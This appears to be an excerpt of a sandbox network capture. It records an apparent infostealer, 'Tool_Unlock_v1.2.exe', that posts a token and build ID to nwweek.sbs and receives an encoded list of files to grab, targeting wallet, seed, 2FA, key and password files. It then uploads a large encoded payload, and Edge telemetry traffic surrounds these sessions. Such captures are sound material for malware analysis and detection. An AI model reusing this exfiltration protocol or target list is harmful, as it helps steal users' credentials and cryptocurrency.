2024-12-29 04:45:49 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 38 51 31 44 4a 45 55 41 31 4e 37 51 49 45 33 45 33 4f 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 36 38 51 31 44 4a 45 55 41 31 4e 37 51 49 45 33 45 33 4f 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 36 38 51 31 44 4a 45 55 41 31 4e 37 51 49 45 33 45 33 4f 48 0d 0a 43 6f 6e 74 Data Ascii: ------68Q1DJEUA1N7QIE3E3OHContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------68Q1DJEUA1N7QIE3E3OHContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------68Q1DJEUA1N7QIE3E3OHCont
2024-12-29 04:45:50 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:50 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 45 56 54 53 31 52 50 55 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e Data Ascii: 5e8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0Yn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49923	13.78.111.199	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:51 UTC	1071	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735447548695&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11931 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1005AEB16EB26DA20238BBD56F1A6CB7; _EDGE_S=F=1&SID=2F9422619ADA623C2E2837059BAC633A; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-29 04:45:51 UTC	11931	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 39 54 30 34 3a 34 35 3a 34 38 2e 36 39 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 36 37 63 62 66 64 62 2d 34 34 35 39 2d 34 61 37 34 2d 62 30 65 31 2d 61 35 61 36 31 64 38 30 31 64 38 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 39 38 32 35 34 32 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-29T04:45:48.693Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"b67cbfdb-4459-4a74-b0e1-a5a61d801d8a","epoch":"3982542777"},"app":{"locale
2024-12-29 04:45:52 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6f7880cf33d14210b819888d0e981260&HASH=6f78&LV=202412&V=4&LU=1735447552084; Domain=.microsoft.com; Expires=Mon, 29 Dec 2025 04:45:52 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=f74ae21f6f1343e7be137064570fd52c; Domain=.microsoft.com; Expires=Sun, 29 Dec 2024 05:15:52 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3389 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 29 Dec 2024 04:45:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49924	13.78.111.199	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:51 UTC	1070	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735447548700&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5220 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1005AEB16EB26DA20238BBD56F1A6CB7; _EDGE_S=F=1&SID=2F9422619ADA623C2E2837059BAC633A; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-29 04:45:51 UTC	5220	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 39 54 30 34 3a 34 35 3a 34 38 2e 36 39 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 36 37 63 62 66 64 62 2d 34 34 35 39 2d 34 61 37 34 2d 62 30 65 31 2d 61 35 61 36 31 64 38 30 31 64 38 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 39 38 32 35 34 32 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-29T04:45:48.699Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"b67cbfdb-4459-4a74-b0e1-a5a61d801d8a","epoch":"3982542777"},"app":{"locale
2024-12-29 04:45:52 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=00409aed0eb840fbb8d565f7cf33f907&HASH=0040&LV=202412&V=4&LU=1735447552297; Domain=.microsoft.com; Expires=Mon, 29 Dec 2025 04:45:52 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ae6009ac22fe45b6a776bff774727a56; Domain=.microsoft.com; Expires=Sun, 29 Dec 2024 05:15:52 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3597 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 29 Dec 2024 04:45:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49930	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:52 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----8Q1DJMYMYMYU3ECJMGDT User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:52 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 51 31 44 4a 4d 59 4d 59 4d 59 55 33 45 43 4a 4d 47 44 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 38 51 31 44 4a 4d 59 4d 59 4d 59 55 33 45 43 4a 4d 47 44 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 38 51 31 44 4a 4d 59 4d 59 4d 59 55 33 45 43 4a 4d 47 44 54 0d 0a 43 6f 6e 74 Data Ascii: ------8Q1DJMYMYMYU3ECJMGDTContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------8Q1DJMYMYMYU3ECJMGDTContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------8Q1DJMYMYMYU3ECJMGDTCont
2024-12-29 04:45:53 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:53 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49927	13.78.111.199	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:52 UTC	1060	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735447549543&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5418 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1005AEB16EB26DA20238BBD56F1A6CB7; _EDGE_S=F=1&SID=2F9422619ADA623C2E2837059BAC633A; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-29 04:45:52 UTC	5418	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 39 54 30 34 3a 34 35 3a 34 39 2e 35 34 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 36 37 63 62 66 64 62 2d 34 34 35 39 2d 34 61 37 34 2d 62 30 65 31 2d 61 35 61 36 31 64 38 30 31 64 38 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 39 38 32 35 34 32 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-29T04:45:49.542Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"b67cbfdb-4459-4a74-b0e1-a5a61d801d8a","epoch":"3982542777"},"app":{"locale
2024-12-29 04:45:53 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a1ea8c97362b4a7e9625cbf1c8dba155&HASH=a1ea&LV=202412&V=4&LU=1735447552931; Domain=.microsoft.com; Expires=Mon, 29 Dec 2025 04:45:52 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ee877b3d115b41eba331f19487d4a453; Domain=.microsoft.com; Expires=Sun, 29 Dec 2024 05:15:52 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3388 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 29 Dec 2024 04:45:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49929	13.78.111.199	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:52 UTC	1060	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735447549692&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9965 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1005AEB16EB26DA20238BBD56F1A6CB7; _EDGE_S=F=1&SID=2F9422619ADA623C2E2837059BAC633A; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-29 04:45:52 UTC	9965	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 39 54 30 34 3a 34 35 3a 34 39 2e 36 39 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 36 37 63 62 66 64 62 2d 34 34 35 39 2d 34 61 37 34 2d 62 30 65 31 2d 61 35 61 36 31 64 38 30 31 64 38 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 39 38 32 35 34 32 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-12-29T04:45:49.691Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"b67cbfdb-4459-4a74-b0e1-a5a61d801d8a","epoch":"3982542777"},"app":{"loc
2024-12-29 04:45:53 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4059f0f546504f8db21f14a847480eb8&HASH=4059&LV=202412&V=4&LU=1735447553222; Domain=.microsoft.com; Expires=Mon, 29 Dec 2025 04:45:53 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=63406cc7bffb4bf7a37ef8e9215f9c17; Domain=.microsoft.com; Expires=Sun, 29 Dec 2024 05:15:53 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3530 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 29 Dec 2024 04:45:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49941	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:55 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----2DBI5PPH4EUAIMOHVK6F User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 98285 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:55 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 44 42 49 35 50 50 48 34 45 55 41 49 4d 4f 48 56 4b 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 32 44 42 49 35 50 50 48 34 45 55 41 49 4d 4f 48 56 4b 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 32 44 42 49 35 50 50 48 34 45 55 41 49 4d 4f 48 56 4b 36 46 0d 0a 43 6f 6e 74 Data Ascii: ------2DBI5PPH4EUAIMOHVK6FContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------2DBI5PPH4EUAIMOHVK6FContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------2DBI5PPH4EUAIMOHVK6FCont
2024-12-29 04:45:55 UTC	16355	OUT	Data Raw: 55 55 55 55 41 46 46 46 46 41 42 53 55 74 46 41 43 55 55 55 55 41 46 4a 53 30 55 41 4a 52 52 52 51 41 55 6c 4c 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 42 6f 6f 4e 41 43 55 55 55 55 41 46 46 46 46 41 43 55 55 74 4a 51 41 6c 46 4c 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 53 47 6c 70 44 51 41 55 55 55 55 41 46 4a 53 30 6c 41 42 51 61 4b 4b 41 45 6f 70 61 53 67 41 6f 6f 6f 6f 41 4b 53 6c 6f 6f 41 53 69 69 69 67 42 4b 4b 57 6b 6f 41 4b 4b 4b 4b 41 45 6f 6f 6f 6f 41 4b 53 6c 70 4b 41 43 6b 70 61 53 67 41 6f 6f 6f 6f 41 31 36 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 53 76 4d 66 69 55 76 38 41 59 2f 69 7a 77 78 34 6d 58 68 49 70 78 62 7a 74 2f 73 35 7a 2f Data Ascii: UUUUAFFFFABSUtFACUUUUAFJS0UAJRRRQAUlLRQAlFFFABRRRQAUUUUAFBooNACUUUUAFFFFACUUtJQAlFLRQAlFFFABRRRQAlFFFABRRRQAlFFFABRRRQAlFFFABSGlpDQAUUUUAFJS0lABQaKKAEopaSgAooooAKSlooASiiigBKKWkoAKKKKAEooooAKSlpKACkpaSgAooooA16KKKACiiigAooooASvMfiUv8AY/izwx4mXhIpxbzt/s5z/
2024-12-29 04:45:55 UTC	16355	OUT	Data Raw: 58 74 35 66 52 74 48 6d 5a 34 57 4f 6c 7a 56 62 64 69 56 66 61 70 56 2b 74 51 67 31 49 44 58 71 4a 48 46 59 6e 55 38 31 4b 6f 79 61 69 58 72 55 79 34 37 35 6f 73 5a 76 79 46 78 6e 33 71 49 75 38 54 5a 51 6b 56 30 57 6c 65 48 70 62 77 43 57 34 4a 53 49 39 42 33 4e 64 52 44 34 61 30 6c 49 67 72 57 6f 6b 39 53 35 35 72 68 72 59 36 6c 42 38 75 35 32 55 73 42 55 71 4b 37 30 4f 4a 73 72 78 5a 78 74 59 34 63 56 63 48 31 72 62 31 48 77 66 61 4d 50 4f 73 43 59 5a 6c 35 41 37 47 73 44 4d 6b 55 6a 52 54 4c 74 6b 55 34 59 56 35 39 53 74 43 57 73 54 48 45 59 57 56 46 33 65 78 4d 4b 73 78 4e 7a 56 51 4e 79 4b 6d 6a 50 4e 65 64 56 6c 71 63 36 4e 69 32 63 35 46 62 31 72 4a 6c 4b 35 6d 32 62 70 57 37 5a 53 56 77 54 33 4c 6a 6f 58 37 75 50 7a 37 4f 52 44 32 55 6b 66 57 75 Data Ascii: Xt5fRtHmZ4WOlzVbdiVfapV+tQg1IDXqJHFYnU81KoyaiXrUy475osZvyFxn3qIu8TZQkV0WleHpbwCW4JSI9B3NdRD4a0lIgrWok9S55rhrY6lB8u52UsBUqK70OJsrxZxtY4cVcH1rb1HwfaMPOsCYZl5A7GsDMkUjRTLtkU4YV59StCWsTHEYWVF3exMKsxNzVQNyKmjPNedVlqc6Ni2c5Fb1rJlK5m2bpW7ZSVwT3LjoX7uPz7ORD2UkfWu
2024-12-29 04:45:55 UTC	16355	OUT	Data Raw: 4c 77 73 59 6a 79 55 75 4a 6c 7a 39 4a 47 72 71 5a 66 38 41 56 50 37 71 66 35 56 7a 50 77 2f 50 2f 45 69 6e 2f 77 43 76 79 66 38 41 39 47 4e 51 42 31 66 57 69 6c 48 53 69 67 42 4b 4b 4b 4b 41 43 6b 6f 70 61 41 45 78 53 55 74 4c 51 41 32 6b 7a 54 73 55 6d 4b 41 4f 48 31 35 64 33 6a 37 54 51 41 54 2b 37 42 50 48 75 61 36 31 77 32 7a 39 32 71 37 6a 30 7a 58 4f 61 68 6b 66 45 4b 7a 32 70 76 50 32 5a 75 50 7a 72 6f 50 4e 75 63 38 32 35 78 37 4d 4b 74 45 4d 57 52 6c 69 69 33 4f 42 6e 67 48 61 4b 52 49 59 34 77 46 7a 79 54 6e 6b 30 65 5a 50 2f 77 41 2b 72 66 38 41 66 61 31 45 42 4f 58 4c 79 51 4d 78 42 79 76 7a 44 69 71 4a 4c 47 7a 50 51 44 30 36 30 30 49 33 6e 4e 6b 4c 73 2f 68 48 70 51 5a 4a 2b 76 32 5a 76 2b 2b 68 52 35 73 2f 48 2b 6a 4e 7a 2f 74 69 67 43 4e Data Ascii: LwsYjyUuJlz9JGrqZf8AVP7qf5VzPw/P/Ein/wCvyf8A9GNQB1fWilHSigBKKKKACkopaAExSUtLQA2kzTsUmKAOH15d3j7TQAT+7BPHua61w2z92q7j0zXOahkfEKz2pvP2ZuPzroPNuc825x7MKtEMWRlii3OBngHaKRIY4wFzyTnk0eZP/wA+rf8Afa1EBOXLyQMxByvzDiqJLGzPQD0600I3nNkLs/hHpQZJ+v2Zv++hR5s/H+jNz/tigCN
